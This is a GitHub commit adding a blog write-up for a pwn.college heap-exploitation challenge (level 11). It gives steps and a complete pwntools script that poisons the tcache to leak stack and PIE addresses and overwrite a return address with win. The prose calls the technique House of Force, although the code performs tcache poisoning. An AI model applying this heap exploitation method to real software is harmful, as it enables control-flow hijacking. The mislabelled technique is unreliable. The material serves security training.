Skip to content

Commit ccfca1c

Browse files
committed
F1-DAMM
1 parent 8f67654 commit ccfca1c

File tree

1 file changed

+120
-0
lines changed

1 file changed

+120
-0
lines changed
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
---
2+
layout: post
3+
title: (Dynamic Allocator Misuse) level 11
4+
categories: pwn.college Dynamic-Allocator-Misuse
5+
date: 2025-10-07 13:00:21 +0300
6+
tags: pwn.college PIE ASLR heap house-of-force tecache metadata
7+
---
8+
9+
## Information
10+
- category: pwn
11+
12+
13+
## Description
14+
> Leverage TCACHE exploits to gain control flow.
15+
16+
## Write-up
17+
18+
**Goal:** use a heap primitive (House of Force style) to leak a stack address and PIE base, then overwrite the saved return address to call `win`.
19+
20+
### Summary
21+
Malloc a small chunk, free it, then abuse the allocator metadata to make subsequent `malloc` return pointers into stack frames. Use small `echo`/read primitives to leak stack/return addresses, compute PIE offsets, then overwrite the return address with the `win` address and trigger the function return.
22+
23+
### Steps
24+
25+
### 1. Leak a stack pointer
26+
1. `malloc(32)` and then `free()` the chunk (call this index `0`).
27+
2. For the same index `0`, call `echo(0, offset = 8)` — reading at offset `8` prints a pointer that lies on the stack.
28+
- This leaks a stack address you can use to calculate offsets to saved return addresses and other saved frames.
29+
30+
### 2. Force the allocator to return a stack pointer
31+
1. Use the House of Force primitive to manipulate the top chunk size / allocation pointer so the next `malloc` returns an address on the stack (the address you leaked).
32+
2. `malloc(...)` now returns a pointer that points into stack memory.
33+
34+
### 3. Leak the return address (bypass PIE)
35+
1. With the stack-mapped `malloc`/index in hand, call `echo(0, 16)` — this prints the saved return address from the stack frame.
36+
2. From that leaked return address you can compute the PIE base and recover absolute addresses for `win`.
37+
38+
### 4. Overwrite return address and trigger `ret2win`
39+
1. Since you have an index that maps to the stack, write a payload that places:
40+
- `0x10` bytes of padding,
41+
- followed by `p64(win_addr)` (the absolute address of `win`).
42+
2. Ensure you keep any required canary or saved frame values intact if present.
43+
3. return from the function so execution jumps to `win` and you get the flag.
44+
45+
Example conceptual payload (adjust offsets and widths for target):
46+
```text
47+
[ padding (0x10) ]
48+
[ saved rbp (if needed) ]
49+
[ ret addr -> p64(win_addr) ]
50+
```
51+
52+
## Exploit
53+
54+
```python
55+
from pwn import *
56+
57+
elf = context.binary = ELF("/challenge/babyheap_level11.1")
58+
global p
59+
p = elf.process()
60+
61+
def malloc(idx,size):
62+
p.sendline(b"malloc")
63+
p.sendline(idx)
64+
p.sendline(size)
65+
66+
def free(idx):
67+
p.sendline(b"free")
68+
p.sendline(idx)
69+
70+
def scanf(idx,data):
71+
p.sendline(b"scanf")
72+
p.sendline(idx)
73+
p.sendline(data)
74+
75+
def echo(idx,offset):
76+
p.sendline(b"echo")
77+
p.sendline(idx)
78+
p.sendline(offset)
79+
80+
def quit():
81+
p.sendline(b"quit")
82+
83+
def exploit():
84+
malloc(b"0",b"32")
85+
free(b"0")
86+
87+
echo(b"0",b"8")
88+
89+
p.recvuntil(b"Data: ")
90+
stack = u64(p.recvline().strip().ljust(8,b"\x00")) + 6
91+
log.success(f"stack: {hex(stack)}")
92+
93+
malloc(b"0",b"32")
94+
malloc(b"1",b"32")
95+
96+
free(b"1")
97+
free(b"0")
98+
99+
scanf(b"0",p64(stack))
100+
101+
malloc(b"0",b"32")
102+
malloc(b"0",b"32")
103+
104+
echo(b"0",b"16")
105+
106+
p.recvuntil(b"Data: ")
107+
win = u64(p.recvline().strip().ljust(8,b"\x00")) - 0x1a93 + 0x1500
108+
log.success(f"win : {hex(win)}")
109+
110+
payload = b"A"*0x10 + p64(win)
111+
112+
scanf(b"0",payload)
113+
p.interactive()
114+
115+
def main():
116+
exploit()
117+
118+
if __name__ == "__main__":
119+
main()
120+
```

0 commit comments

Comments
 (0)